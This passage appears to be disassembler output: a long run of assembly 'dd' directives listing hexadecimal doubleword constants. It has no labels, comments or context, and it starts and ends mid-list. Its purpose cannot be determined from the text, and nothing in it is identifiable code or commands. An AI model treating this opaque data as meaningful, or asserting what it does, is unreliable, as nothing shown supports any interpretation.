6A8B05E6h, 490B93F6h, 805741F2h, 7670B23h, 7E0EC24Bh dd 8C5EA013h, 2CD39A31h, 80EC4770h, 45133BB9h, 0D1C0D92h dd 5ABA402Dh, 0D4169F59h, 0C31638C1h, 0D730016Ch, 6208A2BFh dd 9BE25838h, 0A2D39D58h, 78D9F82Ah, 67FC504Bh, 4A8B7DADh dd 81B190AAh, 7E1665E5h, 9E95031h, 9EF5B02h, 0CECB25E9h dd 0B7B9DFF3h, 93EC6B56h, 44D117C9h, 0D30EB04Ah, 0A6BA1268h dd 201794BEh, 0C13831BAh, 813CCBCEh, 3684EE91h, 0EC6B02A4h dd 0E180990Bh, 2DEB8000h, 73F4F3E0h, 79727752h, 395D04Dh dd 0F95494B9h, 0DBB4D1C0h, 9FE8E36Ah, 2AF90D8Bh, 0A6020ADDh dd 0C1655422h, 8A20BDCFh, 0DE293FDBh, 1DF54CF3h, 0C6044722h dd 73159F8h, 8419C2C0h, 0BC1C5FD8h, 37A99F99h, 0F2C0D24Fh dd 2DC0CEB4h, 970102E4h, 2AFC20ADh, 0F21904FDh, 2E97287Ah dd 0AC7D5DFEh, 1B2EF5h, 4A0A0387h, 1A090558h, 9A717F76h dd 0F41E4234h, 1284E2A9h, 0D8038009h, 4406F18h, 0DC922B35h dd 6540AE8Fh, 883899EAh, 416A955Dh, 6AFD080Bh, 60754119h dd 4984EF04h, 0AF1CFC0h, 4A317EC3h, 52328756h, 0F5493BE2h dd 0EBF43EEEh, 1C67B933h, 266C42C1h, 0E5752930h, 0D76885B8h dd 0D359EC4Ah, 5BE05DBBh, 0B0D35BB5h, 98470B3Dh, 0E0971DCFh dd 7E2D0002h, 5704614h dd 0A830EF36h, 0BCE9E667h, 0DDE69766h, 95B68E30h, 2DAC22EBh dd 0BE0CB134h, 1617D312h, 298041D6h, 0C14F2815h, 1DE95148h dd 2BD03F8Fh, 4916E0EEh, 0A2002442h, 2D4952E6h, 83243306h dd 0F0286670h, 88349516h, 8BE7BA00h, 97762E1Eh, 0FCBF0BF7h dd 5E5D00ADh, 8FE90F54h, 0B7F26C5Eh, 6FF2891Fh, 0F13CB4E0h dd 1C32E9E4h, 57BDBCA1h, 8B4B64AFh, 0FD094AE0h, 6205F78h dd 215D26ECh, 0A9CB0894h, 59EF8800h, 0B966F830h, 2277CBDEh dd 0F7B4AFCEh, 7D0E8D31h, 3AD841E5h, 50B05DFDh, 68045357h dd 7823255h, 5F7EFDABh, 719661FFh, 5D5001F1h, 6E9D997Eh dd 65488CF7h, 0F94CAD05h, 90CC1713h, 0F37CE977h, 249B659Dh dd 374C8920h, 79A13DFh, 0E4ED538h, 3FA2E210h, 0A0B5CE5Fh dd 91E6F87h, 0D50141A6h, 5E5AE785h, 5C880B13h, 40162CE8h dd 8CDFC82h, 838F110Ah, 0FA294662h, 1F10D31Bh, 80BEC9ADh dd 0AD912304h, 3EEB0297h, 0E057DF46h, 95037128h, 40099B45h dd 2083C6A1h, 5F3FE613h, 5EBECCD1h, 74BFBDC5h, 94D7F2C7h dd 8247100Eh, 4214AC58h, 277D1D4Ch, 6CA07535h, 3B046E92h dd 164A94C8h, 149FD89h, 7D6C5752h, 3971C701h, 5AD70811h dd 0AAD76429h, 4C689C42h, 63B67644h, 0E3264580h, 0C08555F3h dd 0A4F007EBh, 0FB1A73E3h, 622030CDh, 243B60FAh, 7B121DBAh dd 40BD3401h, 312C974Fh, 0E6BFD641h, 0E57EB87Eh, 0D339F3FBh dd 0A3BB6552h, 0D3BDA542h, 0EA1BF785h, 4AE98A2Ch, 0B92F0090h dd 2FF84503h, 3F9EEAF4h, 29045804h, 27289EC3h, 167F31A1h dd 0E3CF2A9Fh, 5AD028D2h, 0E7DB90BAh, 4A5264F4h, 0A22CAC79h dd 2A0D69F3h, 0E40CA16Fh, 1C7D28E6h, 25C63AC2h, 78825F3Ch dd 0B80F05A6h, 254716F0h, 0A5A25729h, 0DD2B5952h, 0BC7CE2A9h dd 2E297AF2h, 0A88182B5h, 72BF3776h, 4EA24EC0h, 9EF907BDh dd 28674888h, 384D1C94h, 0D6290933h, 0DE1C864Ch, 3D2ABF57h dd 0E878BE09h, 69480062h, 900AAC19h, 8267B063h, 1F68F708h dd 3A978F45h, 89D41A43h, 0B4B45ED9h, 0C053AF86h, 0BBDE5D0Ch dd 9F1217CAh, 84EE06Ah, 324EC9FCh, 4C805297h, 9549572Ah dd 6F6FEF69h, 0F6FE6712h, 3AC9174Fh, 935A8D2Ch, 6561242h dd 9F528ACDh, 0F4A5EE2Dh, 95D62505h, 1ACB531Fh, 0AD235C7Dh dd 5D0BA3D6h, 92D9F64Fh, 0C06DACB2h, 0B55109B6h, 0ED802684h dd 70A70B19h, 0B9804ED9h, 30A247B7h, 17AC0BB8h, 49D56F3Bh dd 0E46A58A0h, 50131B68h, 43B45F99h, 283C996Dh, 0C88F20BFh dd 0CA7F5870h, 0ED854329h, 8F7C4A02h, 90507727h, 0F597087Bh dd 0E0282698h, 0DAF74B12h, 6CAB1A04h, 0F0215B02h, 0ACB647F7h dd 6A5A4274h, 30716C75h, 0C01051D0h, 7C107EAh, 80CF280h dd 982E4CFAh, 8570E12Dh, 1D6AE780h, 72EB5D86h, 0FFD13306h dd 3071DF49h, 0A62B388Ah, 3761E961h, 0CF4DD17Eh, 87FB0466h dd 0EAE5E408h, 17BA3613h, 5AC9CB81h, 0A5B410C5h, 0CA6D5BE0h dd 94E9846Dh, 3158B891h, 0BA85942Bh, 0B55DF12Ch, 0AA3195CCh dd 0F681395Bh, 0F52D3A8Bh, 0AA6EE384h, 0ACD780A2h, 86BAB5F1h dd 0B80B30CBh, 56432894h, 0D911A4Fh, 5A151FFh, 0D18D68E9h dd 9006EBC5h, 317C38BCh, 2D0B64E4h, 376C2F72h, 0E5A4957Dh dd 2998BBE3h, 0EB0A1318h, 0F314AA7Ch, 85FC059Eh, 56E83AC2h dd 2E2CAA4Bh, 0AE9185Bh, 43B27F44h, 0B1DCCB7h, 1A8516EBh dd 0E9173CE0h, 0CDE57A3Eh, 36F54E9Bh, 2CD69BEFh, 0EB375498h dd 18D7BBC6h, 1E441AFh, 2B0FE9DDh, 5406500h, 9DA81Ch, 0CC254866h dd 0D70626Ch, 54717BE8h, 99E9521Eh, 480448B1h, 907892DDh dd 662DAD03h, 579F2A41h, 6C7D00F4h, 551D801h, 68FA2F07h dd 0BD31E914h, 43B34AA7h, 32AD6DDh, 389ABFD4h, 0E78147B0h dd 51168607h, 116CD17Dh, 4DCA0464h, 0ED5276E9h, 0F15BC971h dd 3D06891Dh, 0F54947F4h, 635EAE49h, 0D689C47Ch, 673D38EFh dd 0D23B6F41h, 8DF8C013h, 0C426577Eh, 46C40D5Fh, 0B85E3EB8h dd 5E90592Bh, 0E61AFAF6h, 0F3403FB1h, 667B381Ch, 0EF65E32Fh dd 4EE82823h, 9480A53Ah, 0A0F60932h, 9C158C68h, 53736E06h dd 1A16BC01h, 750C354Bh, 37E9B1BBh, 0B21AA655h, 0CF34F15Bh dd 0BC5A1C96h, 80B1B067h, 59CB0728h, 7023B652h, 0B45088F6h dd 0A2E93012h, 84FF1856h, 0CACEEF2Eh, 5301E346h, 5B506852h dd 0EBC645D2h, 65EC3C17h, 71DC0E75h, 0F2C30E43h, 0C803004h dd 0E927D389h, 0ABA075EEh, 352A7156h, 3D3049B4h, 3B5B4CC2h dd 0C7B7CB6h, 198E7AC6h, 7F125654h, 43807D4Ah, 902FBC67h dd 540D05DCh, 0E0091FACh, 84B5C0F7h, 0E3FA50BFh, 5049335h dd 0BF12A354h, 0A47FE9B1h, 995D94h, 7F8E985h, 684938FBh dd 0E215AA0Bh, 48978405h, 346E4B1Dh, 0CCF5C9DDh, 0BB37307Ah dd 0C0007BD2h, 95CB8149h, 4C3D7976h, 80096C57h, 168E8206h dd 0B800B0C8h, 73B2CC4h, 4D063F7h, 0E00E0C1h, 4A8735D8h dd 3A057431h, 75A739F3h, 6A279158h, 3DE3D2CAh, 40D40368h dd 276E5FB3h, 0FED3459Bh, 284CDAD0h, 0AF6596D8h, 5F256BD2h dd 5F096659h, 0FB8F4420h, 12AB1333h, 42D9EB64h, 4B6FF73Fh dd 4EA42729h, 253F10ADh, 2606FE46h, 0FF470E92h, 0F452A833h dd 7D4F39AFh, 12E880C1h, 0B787C3E9h, 0F2EFF9FEh, 8F55B2AFh dd 0E3A837E9h, 9738FE5Eh, 0AF5B2EE9h, 182680F9h, 0DF313465h dd 0ECF3B4F7h, 0D660F2FAh, 418DD90Bh, 0F62E318Dh, 0C5E84B5Fh dd 2B39BF09h, 76CA005Fh, 107AAE38h, 15788E9h, 8561F581h dd 7EC82FAh, 0A087C1EAh, 3A527B53h, 0C1E124AEh, 81913103h dd 4A7E680Ch, 0FAE8534Eh, 664CCF71h, 0BA3A0264h, 0E7A7CFFCh dd 0F729C951h, 0E9C1075Eh, 8D8108E1h, 0DD7D02E2h, 69EC2036h dd 9072CCCBh, 0C55FC3DEh, 8C49337Dh, 0B9095195h, 0FC76CE0h dd 26450C96h, 2ED877F6h, 0C5931027h, 0ECDC5796h, 5E74041h dd 5B592D5Fh, 0ED2F8A8Eh, 706B857Eh, 4A9AF95h, 9E54D897h dd 987C509Fh, 40AA5AD2h, 70C3EEF3h, 0DA9D2083h, 0D40882D5h dd 3E845940h, 4F219E02h, 678EC11Ch, 97CA0F05h, 47BA0405h dd 7442D581h, 0E1278017h, 0C53005EDh, 5D3B0C37h, 0E0294FE5h dd 50022204h, 4B6823EBh, 4A6EE655h, 15C2F058h, 0C86F88BEh dd 600B25DBh, 0B626495Bh, 22EB1116h, 42C1E8A7h, 44C47B7Ch dd 0F858070Bh, 164F6066h, 64DB5ACEh, 601FE912h, 5A05FA53h dd 3453C0EEh, 0DC64D761h, 6C49E38Ah, 4405C3DDh, 0EDFCEEECh dd 3C7628B1h, 0C21B8427h, 0B304FAF9h, 0EB24E475h, 80204B1h dd 4BE343E9h, 847FEC35h, 0E8ABC292h, 31B0F113h, 130B9216h dd 0DD530B54h, 0AEBD20C8h, 0E4CA8980h, 0BE5A4BD5h, 0C59A838Ah dd 4AB844D5h, 98DBC45h, 772C3E2Ah, 34168601h, 5B856E60h dd 21EA2A00h, 2CE93A0Fh, 5A203830h, 59B30768h, 0C36D5427h dd 9DEB9B5Eh, 5F8821Dh, 0D921F0C8h, 0C10042A6h, 44551D79h dd 3C5AC5E9h, 5D84B6E9h, 0F82807B6h, 0A04ECF72h, 1D22F587h dd 823D5F8Fh, 66F55F24h, 2D6741D2h, 0F9D311BBh, 349CC102h dd 0C077B4A8h, 4B5E689Fh, 2B8F36Ch, 6A934972h, 0CADDC242h dd 0BD52FF00h, 23298D16h, 5FC2D100h, 4FE0967Ch, 87A4C109h dd 14761675h, 0A95382BFh, 3816BA4Eh, 49597BECh, 0BDCBEE4Ah dd 0BF732B12h, 9826AAB7h, 0CAD7A77Fh, 668A41F3h, 7B118A2Fh dd 0FD30992Dh, 0AFD22B1Bh, 5C2D42D6h, 4F16EECDh, 0AF138BE4h dd 0E9C3E5F3h dd 6B029839h, 0FECA35EDh, 25656851h, 7C0B24F7h, 0CDF2096Bh dd 7E05DCE9h, 1D2D43F4h, 25043819h, 0F87D6F1Ch, 7016BF80h dd 217E1F5Fh, 48A109FDh, 0BC5B19F5h, 0F63F3765h, 11F59149h dd 0F30362E7h, 705976A4h, 64224DD9h, 6690EAA4h, 19D7F20Dh dd 3BD88EB1h, 0A84151EBh, 241BA16Fh, 86A3D57Eh, 0BB729D8h dd 4093890h, 82F37D4Ch, 0FAFEE920h, 53EDEDABh, 0C7DC60AFh dd 228EE452h, 0DBB71620h, 42E942B7h, 8C4FD47Dh, 310C253Ah dd 8209FE49h, 0D273D668h, 0D0F1C0BAh, 0BEF680EEh, 377DC6E6h dd 2F3A5459h, 58307C57h, 0E02F439Ch, 67791145h, 5A3434h dd 2047C75Dh, 7B091886h, 0DF57293Bh, 0DBB3AED1h, 3429BE2Bh dd 2D270BB8h, 0E949815Fh, 77265BABh, 49E8A477h, 0B45E3E68h dd 0D097523Fh, 0FAF362ECh, 800926BEh, 1B1C334h, 0EB88CF9Ah dd 8C08A81Ch, 0B8D17EB5h, 6F44204Bh, 0F9EE8790h, 8F09F99Ch dd 0E38DDE47h, 0AE846BDEh, 0BEF5FFF8h, 4FE9BA3Ch, 12A49486h dd 739EBF9Eh, 1723CE4Fh, 0D0BC822Eh, 9B0AB8F1h, 0BA8C611h dd 1E68532Bh, 529E96D9h, 0B6C1B387h, 5BDE3061h, 0C9D0906Ah dd 104DE994h, 8AEE4A1Ch, 0FD2884BEh, 33546581h, 2FD8CD2Bh dd 80427E5h, 0AF3795BFh, 47780689h, 692F614Eh, 45F41746h dd 0AC5CCD35h, 104376DEh, 0A1AB5B6Ah, 0F64630FFh, 15374217h dd 301AEBF0h, 6E0C728Ah, 0A217AD28h, 0F3C579E9h, 0D3DE3EA8h dd 2D6BA0C6h, 2AF0330Fh, 6A624492h, 5E91E6BBh, 0FB1318FCh dd 0C5FCA897h, 0E7FECACCh, 575A0009h, 9A19FABFh, 0E781023Ah dd 1B5154D4h, 91091578h, 0F821F812h, 0AA107141h, 1DC475B3h dd 0B500D64Ah, 9A1D0AB9h, 0BD550274h, 3A4036DCh, 0C567A0DDh dd 0A15529Ch, 276AE90Eh, 1EEF80D7h, 8908E7B6h, 575FFE2Fh dd 0FEB7F404h, 54BC3E13h, 5EEE82A4h, 32099857h, 0A73F9942h dd 0E95B40D5h, 98C569BFh, 0F6CE6E74h, 3B26913h, 0D2750D9Ah dd 41E4CF3Bh, 0BB0AEBC5h, 81441D4h, 0DBE95F11h, 3A7875B2h dd 190D18A0h, 209E4E9Fh, 5350B674h, 4D0B8DDBh, 75291FA8h dd 0C751A964h, 7047E10Ch, 48415887h, 1E066160h, 0C96BE47Eh dd 0EB9071E6h, 0C6FEEE87h, 0CA551907h, 54BB29CDh, 0FC57C4D0h dd 0F840B1CEh, 9E1EBF04h, 66771F38h, 8DE8EF12h, 98A809DFh dd 0ADB7EFDFh, 1CD38840h, 710AF2A4h, 9C688903h, 39BBFFA7h dd 787ED8E9h, 0A58FA3A7h, 378A0764h, 212C8E16h, 2746B56h dd 26E8C05Dh, 7BD22C79h, 0D1491262h, 2AEF91B8h, 0E0B4C122h dd 0B544755Dh, 0C9C38C99h, 12AF39DEh, 0A7EBD313h, 0AA2C07B4h dd 978ED028h, 806F0039h, 0C1807FC8h, 0F1247273h, 92E613D8h dd 0D8C7BCBBh, 9CBA1BE9h, 514B6639h, 723BDDADh, 1137AF9h dd 84BA4122h, 58080910h, 0C8CA0243h, 801930F8h, 0E406CFEEh dd 25EF0F6Ah, 0BBA422E9h, 9F4CC057h, 46ECE01Dh, 0F4527F94h dd 0C27D2715h, 69B2F9F8h, 5191F189h, 60006BE5h, 713440B3h dd 3E74BC1h, 4177CF62h, 0DC7538B2h, 0BD2A640h, 0A9C88ADAh dd 701353C2h, 50FF6E34h, 0F64E0873h, 0FFA116ABh, 43AD82Dh dd 762555h, 0B837A2BEh, 811CBC3Eh, 0A03803CBh, 1B772062h dd 5C96AD09h, 0F19A8A21h, 8FBE4A38h, 38EE5A6Bh, 2B4F4B4Ch dd 58E2FFB8h, 6472FBB9h, 5B0E6620h, 6721C580h, 23D7B1EDh dd 4F8AF4A9h, 1C521509h, 17EAF148h, 0D8AF4202h, 499D2D3Eh dd 0ED6F5DE7h, 236884BAh, 0EE3AD8F1h, 4AE9D73Ch, 0AFB6135Bh dd 4F82B606h, 90C3E00Eh, 6046712h, 430D6F52h, 0F1CC30EEh dd 0F58C16C9h, 0DE7209CCh, 0FABCF464h, 0BD02BFF8h, 2C6018B3h dd 0DD7C5562h, 53F08605h, 0CB5188C7h, 8A4D1F6h, 0C83D1270h dd 0D625F790h, 5E26B156h, 6EE4292Bh, 176EA229h, 35EE62Ch dd 0A14213C3h, 0B0C7757h, 1256C40h, 3408BBA8h, 0B914120Ch dd 43D4865Eh, 0D66812D0h, 51AAC874h, 575A96F2h, 889BDA30h dd 1AE93ADDh, 0ACCBFFB8h, 4AACF444h, 0AAE951F0h, 0C2FC55D3h dd 23F302B2h, 7167203Ch, 98ABB55Fh, 5E38215Fh, 0EE2B048Bh dd 2F48532Eh, 205D5125h, 6F1A7CBBh, 22050F02h, 5E5D9D6Bh dd 0ACFBC968h, 0DB98285Ah, 2D0F6795h, 55F5A9E0h, 961F709Eh dd 7548BF0Bh, 20573412h, 3FE3059Eh, 6478B7F3h, 3B072D51h dd 0C127F5F6h, 7D28CA57h, 1D681A60h, 0DC956270h, 6A85E935h dd 7A3DBF4Ah, 59AAA940h, 9B064CA0h, 0CD3FC902h, 27D88928h dd 9455F23Fh, 38934DEEh, 0A71502D1h, 5A10AEE9h, 0C2665F61h dd 74515915h, 2DA9F049h, 864E496Dh, 0C82B4782h, 2DA648F7h dd 0B291799h, 6C45EFF0h, 0C420E4A1h, 4E955C8Dh, 3C07EF11h dd 33C383EDh, 0F6E82541h, 0B562A5FEh, 1F165F70h, 0B62067ACh dd 4A679067h, 4A49EAF3h, 0EBAB5D05h, 803A6557h, 12877532h dd 11006F2Dh, 3F0563A9h, 3E71410Fh, 751C801h, 1202BF44h dd 0C664BBE9h, 0A3E09CCh, 3CC075ABh, 7867C203h, 2042BF18h dd 92B6C63h, 0E26619B8h, 4B18D4D4h, 16EABA46h, 113493Ch dd 0DF28C30Dh, 6F0B7A0Ah, 5871745Bh, 687BE1F7h, 89F9694Fh dd 1286FC4h, 0F667C980h, 48C60260h, 1A0DCBFh, 0BA0752D8h dd 31821D6h, 0B76ED086h, 0C8521579h, 82A24722h, 40966B40h dd 51120578h, 80FBDEF5h, 130AEF4Eh, 0E9903EF4h, 72930C4Fh dd 0D5CDF005h, 3B5F3F17h, 0A22C9016h, 1CD24A1Ch, 0D15C68h dd 763249B8h, 0E0B0571h, 6A8DB2Eh, 4D34C86h, 643FC1C7h dd 4785BB48h, 0F03C41BEh, 4535BB54h, 7021BBA9h, 0B723CC83h dd 0C6C0A949h, 2E304576h, 313B0CC1h, 942E5182h, 52080567h dd 9B141468h, 8A6F5E12h, 0C8FE4E18h, 0A359E97Eh, 0F3BD0091h dd 0BE72CB06h, 0F15E1639h, 7C32BC10h, 2B60965Bh, 89041858h dd 0EC133BF7h, 72DE69BAh, 0B2AF92E0h, 77578969h, 6D1FFEB0h dd 0CB4DD19Dh, 341F6FFDh, 0BF4EBE8Ah, 34E9C401h, 0BF5335F0h dd 5B13CDDCh, 2514E4BFh, 2604421Fh, 4BC50540h, 9351CEAh dd 2D27063Fh, 0AF2FA184h, 0ACAC8F84h, 2EB7F6F1h, 955BB49Ch dd 0FA7E4AA2h, 3D8453F7h, 5B408AADh, 609DE6B2h, 0B76F4A24h dd 48CBCBE6h, 0C0500402h, 7E3EFh, 5A9E1FB0h, 0AA7E4468h dd 31FF7A0Dh, 0E0B1361Dh, 0D49EE057h, 5375FEFDh, 86FBC9A7h dd 1817C310h, 272E457Eh, 0BED8C543h, 0C652100Fh, 1F596677h dd 0D3500CEFh, 0C77AA015h, 950F08A3h, 37F8E95Dh, 178679FCh dd 409F3CC1h, 3E385734h, 975B4389h, 0DEF7B03Dh, 144FBE41h dd 0A849AADh, 29E9AFD4h, 470FBFC0h, 2CB87FB5h, 0D061561Ch dd 10AA29D3h, 48580870h, 8212A54Eh, 57029D0Ch, 0D9407560h dd 5B837CE3h, 0ADC0E51Ah, 4ECCF24Eh, 9109BE5Eh, 88C677C5h dd 49925F97h, 0D72DC2D5h, 31C4FD34h, 26EC7BCEh, 0B54152CEh dd 3AEE881Ah, 1EB49BB4h, 0FCC2886h, 619C480h, 58E1F8E0h dd 824E29F9h, 79444268h, 0B45000EAh, 0F6FC861Ah, 5308D760h dd 0A84542E9h, 1647E3AFh, 0EF21B16Dh, 3FF38600h, 4E07F6DCh dd 2DADA405h, 0DB74B9Dh, 0DA3DE9F8h, 537C603Eh, 324BBB0Fh dd 292F4D6h, 99EC927h, 8335C29h, 6887792Eh, 78E417C6h dd 0B9B0BCB8h, 0FE3E2C74h, 54E10271h, 0DD73A92Fh, 0AA33ABE8h dd 299D7710h, 32C20118h, 20597998h, 2E600549h, 0D4FF559Eh dd 0E9080587h, 2672BC16h, 2F425631h, 0F440C825h, 2A0FB727h dd 0BD311164h, 88AC4E41h, 0F451D88Bh, 8CB6F7EBh, 16EB5D5Ch dd 0DCF2D86Ch, 3F8FE9A1h dd 0B168DF02h, 3F14C49h, 9C95343h, 98015746h, 26B76220h dd 7F28E9h, 7D3EBE3Dh, 94904F59h, 408BA1h, 2761DDBDh, 5D287Bh dd 0CD2CF1ABh, 0D4ED4849h, 720C3E07h, 10CFF47Ch, 1E593008h dd 60303CDBh, 4A381A62h, 16F0940h, 4E08D42Ah, 7AB9D8AFh dd 2DFB4300h, 0CB7FA1BBh, 0F331174Fh, 0FAD0BA5Eh, 0B08E8C0h dd 0FA24D8F6h, 0C128A901h, 75B3DDE9h, 4803EEBh, 90420848h dd 5CE309BFh, 427F75ACh, 5A0804B0h, 6530B9EEh, 9F08552Fh dd 3B0BC030h, 0C6A0125Fh, 0C946802h, 3EEC24EFh, 480ADED1h dd 6819703Ah, 75947BA0h, 97433160h, 0F8B1BF5Fh, 0F84ED9E1h dd 6A98D7F7h, 546D5164h, 7BDC2DEEh, 40069D2Ch, 8A00B196h dd 5966CB28h, 9005E3C0h, 20DE90E0h, 8728D37Eh, 370B7D7h dd 0F6DF7825h, 0B9C38274h, 0D4842A50h, 808F80FBh, 75623239h dd 966163Eh, 360F8200h, 96F64D43h, 0C3F5B263h, 0F582D8F8h dd 5F239009h, 0ED9E900Fh, 0EF3D92AAh, 21B6F4CDh, 16EA080Bh dd 0C28004E7h, 0C1D42850h, 0DE98EC51h, 5861B4C4h, 6DE94712h dd 0CB3B9265h, 3D5012F2h, 0F97ECCDDh, 0AF68C0A7h, 0BD6C2A09h dd 0E6090F96h, 0DF91121Eh, 2988D380h, 70B52E2Ah, 0A71DBCEEh dd 0C22916FDh, 0CF85E977h, 5BEDAF7h, 6A91A20h, 36CE8131h dd 4A58030Ah, 0AC0A8552h, 7FE9F1E3h, 0DC20E575h, 282713C7h dd 0E28A1EF8h, 0A2F9014Bh, 444D7098h, 0E9055504h, 89AACB62h dd 2FB1601Ah, 45923AB6h, 0BF0780CAh, 6438410Ch, 56A0AE21h dd 6A01181Ch, 436D0C09h, 31110F2Eh, 344A663Bh, 8E54B5CEh dd 5F2015A8h, 7521A067h, 37A94C36h, 0E3F75A75h, 288F0213h dd 7F5F117Dh, 70E968E0h, 0DCD1C04Fh, 0BF00EBB6h, 442C6447h dd 611DE37Dh, 8AAE813h, 5B07FC34h, 4B82FE29h, 281E8243h dd 0BF5A0589h, 7E3B6CB3h, 91D8A655h, 76E09AA0h, 0CEFE2DF6h dd 2690ADF0h, 6212C65Eh, 4D0BB7BAh, 0F9E91987h, 0C5D854FFh dd 0A8C99D63h, 75C1CEF8h, 0FEA48878h, 9D248Dh, 3B0DD5C9h dd 2C25681Dh, 387C4664h, 0BA4A6E16h, 0AE4F008Eh, 55299432h dd 0C6DCF88Bh, 0C1E1B3EEh, 445BCD30h, 4409F589h, 1A331Eh dd 0ADAA9D93h, 301DA6B5h, 0C16909B8h, 8000D0E6h, 59CE214Ah dd 98515646h, 733027BFh, 40B5EAC4h, 0BD5F6897h, 155D159Ah dd 4B5C9E6Ah, 0E72442C7h, 2EFFF35Eh, 1630ABF7h, 0CB6A4CE9h dd 2F55EB43h, 6C927F90h, 351E61ABh, 0C6297C70h, 20D740ABh dd 41762FA0h, 0F90F674Eh, 64258551h, 0F0CFFC47h, 612CEF32h dd 57C2F83Bh, 0F4553DC2h, 0F1C051FBh, 8B802B03h, 723064F2h dd 8D46FE2h, 0FC66C465h, 0D1F5728Ch, 0FC2D3ACAh, 0E96A3A84h dd 2E90FC59h, 2BCAFBACh, 8E84CA3Bh, 2B6571FAh, 1A5F03B4h dd 1C51B626h, 0F7895C54h, 5D7427D3h, 0DF063CF2h, 394E9E6Ch dd 7DBFBF09h, 457D4242h, 15E48283h, 8AC46FF1h, 9DE90880h dd 8B540895h, 4CB36858h, 51CB1F7Ch, 0FBDE0E09h, 3E6CF4ADh dd 9AF7CFA7h, 790E0FEh, 802496D0h, 0AE1AE8D5h, 0DE9FEB89h dd 7007EDB4h, 0EEB78797h, 4DE92A32h, 0DA949EB1h, 0A8B545DDh dd 23992607h, 20464309h, 0DBAA0C4Fh, 8B5C2517h, 0CE1F0688h dd 293A2A38h, 0B0EF33F0h, 0F7B13306h, 6AB47A86h, 0E7E92574h dd 67EA468Bh, 5A20597Fh, 18C35E84h, 52306152h, 53C3C4FCh dd 0DA91E388h, 1CA9265Bh, 0D000F02Ch, 8092B551h, 0AC6EEDCDh dd 4C8078Fh, 34F2F6AFh, 49C3F5A8h, 0CAC5E882h, 0ECC67FA7h dd 0ED204EB0h, 0F4681221h, 0F24BFC10h, 0C0BAD65Fh, 0E73DB2C7h dd 5AAB1B5Eh, 0FAD311F1h, 1CE1762Fh, 6FF2EC52h, 34AB180Bh dd 6E658C01h, 0EC057062h, 4AE4535Eh, 0EB93222h, 0FDDE9816h dd 74420B69h, 6C6525FBh, 74279889h, 944765A0h, 16A1FCB8h dd 299C838Fh, 68C30931h, 0CAD96174h, 2B47B0BFh, 3D71EDEAh dd 40BB7CF5h, 0EF2D04Ah, 3D7B270Fh, 4B3228E1h, 5B497BC8h dd 0A4D0F920h, 8B0A50AFh, 70B54120h, 857C5B16h, 8EF2AA5Bh dd 0D5A8D4C4h, 0FAF0001Bh, 317A154Dh, 8B18DA5Dh, 25C67B21h dd 68496877h, 722C5247h, 275CCC1Ch, 0BFEECD7Dh, 0F2232D62h dd 0FC2577D1h, 0B6538264h, 9D433096h, 5AE2F39Bh, 0A6C47FDh dd 81A8FA99h, 0AF4EFBC2h, 7EE56A13h, 6DE90800h, 50FEBDE7h dd 87D2D449h, 19086850h, 0F661EBDCh, 81FC0D0Bh, 551D3BEDh dd 84178FCCh, 0D08940DEh, 0E8A04035h, 862FCDB8h, 3AF63A60h dd 43DC5FB4h, 0EABB8249h, 5F9BFD27h, 5442E0C9h, 0FAB954EBh dd 0BE0056BCh, 61765859h, 12C5E681h, 1645312h, 92416092h dd 49C4834Dh, 0BC0B400Fh, 79DA4FFh, 3C09A898h, 856BEB65h dd 8AB42071h, 9051CF7h, 0B27D6F40h, 8B3C595Ch, 0AC5862E9h dd 0EF2054Ah, 90B5ABD3h, 0F7A1672Ch, 30EF3B14h, 59BA5251h dd 775B0171h, 0FE2584BCh, 7FF044C4h, 2AF36BF3h, 4C374310h dd 3AF539A7h, 18EC3EE6h, 0F2C7BACBh, 6D3C0917h, 975E2144h dd 798FBB01h, 0B33173D2h, 6B87D4F2h, 5244917h, 60A05098h dd 8D12BD72h, 0C759C81h, 0BB388C7Fh, 0CC58521h, 730E07F4h dd 0B10D30Ch, 0FD0348A1h, 295CE818h, 8D210ADh, 6140C68h dd 4A46EEE9h, 43B7BE04h, 9FBD6376h, 1A8C5219h, 261D2C54h dd 0D04225F1h, 5E2500FDh, 16009A60h, 3548E8D1h, 58452004h dd 0C9274E01h, 0C52548C7h, 705F8998h, 5AE17A76h, 0AA764F68h dd 61E34A73h, 7DCE4518h, 9CC107A0h, 86AF7A3Fh, 0B0224C29h dd 65FB5D43h, 5AA4E05Fh, 0BDB46673h, 4438B69h, 0B2BC6D6Dh dd 5D89B83Bh, 0C1D120EDh, 57067F8Bh, 20BA74B8h, 0B8C13B28h dd 0CD0C605h, 0F1EE6782h, 5A080188h, 54A46F46h, 0CB062DE9h dd 0C188BA90h, 0D7FA682Dh, 0E94E5B36h, 929E21E2h, 5F51C375h dd 55B4B7h, 0EF1DB2BDh, 57E0B579h, 65B6AA15h, 0DEC88683h dd 50D7D9BCh, 0EA12526Dh, 2B16EFF7h, 0B03AE8A1h, 59409040h dd 27D57A31h, 2EF8F587h, 0FC26372Fh, 0C549CFEEh, 60438541h dd 0B5C00B32h, 8A1E5CE7h, 0FF79045h, 1FF91B80h, 332ACF80h dd 94C10729h, 10F31C93h, 13DD3E30h, 0AAF0F7DCh, 0D1E15204h dd 1E20208Dh, 85E2997Dh, 3025EA68h, 5DE9549Ah, 7AB43B4Bh dd 0F2720106h, 0F7DA8750h, 5EBF3EDBh, 6A26E9h, 0CA92EFFh dd 5E5AF209h, 80EF24AEh, 525006F2h, 7E9521E5h, 0BF0CE796h dd 0A955F34Ah, 770DD205h, 9FA935C6h, 0C30B807Fh, 604C3022h dd 923B16BDh, 0A78B61EBh, 652E1109h, 0D2FAC79Dh, 2996C157h dd 8C6138CEh, 2F68EB85h, 1F6611F8h, 5B11D664h, 0D5F362C9h dd 7C8B87D0h, 5E263D9Ah, 0FAFEA297h, 307E228Bh, 0E31DA74Eh dd 0E2281189h, 0C90B9179h, 7D05C260h, 3252AFA0h, 0F6BE0A0Ch dd 0E5AC7E96h, 8FF212Ch, 53029639h, 0CC6FE168h, 28C420D5h dd 50B2B12Fh, 788749B1h, 14FEDA4Bh, 84FDE821h, 0CCFF59D7h dd 6C4B81B9h, 0E0D631BBh, 0C2239662h, 2F039806h, 41D18255h dd 1769B813h, 0EA324605h, 3913BF7Bh, 5636D0EFh, 18985E55h dd 97ED7A29h, 0A1467D4Bh, 1890EB05h, 7EC41E92h, 80BBEC4h dd 5D79AB5Eh, 0F6AF5867h, 49A03822h, 62FC6812h, 214E39FEh dd 52829253h, 0C4CAB7EFh, 0FE18D411h, 4C92B625h, 6E20CD7Dh dd 685E0947h, 0B85C5030h, 6C3E7762h, 51D9283Ch, 8F995BBh dd 1755566h, 327627E7h, 6E219DE9h, 19E8FACh, 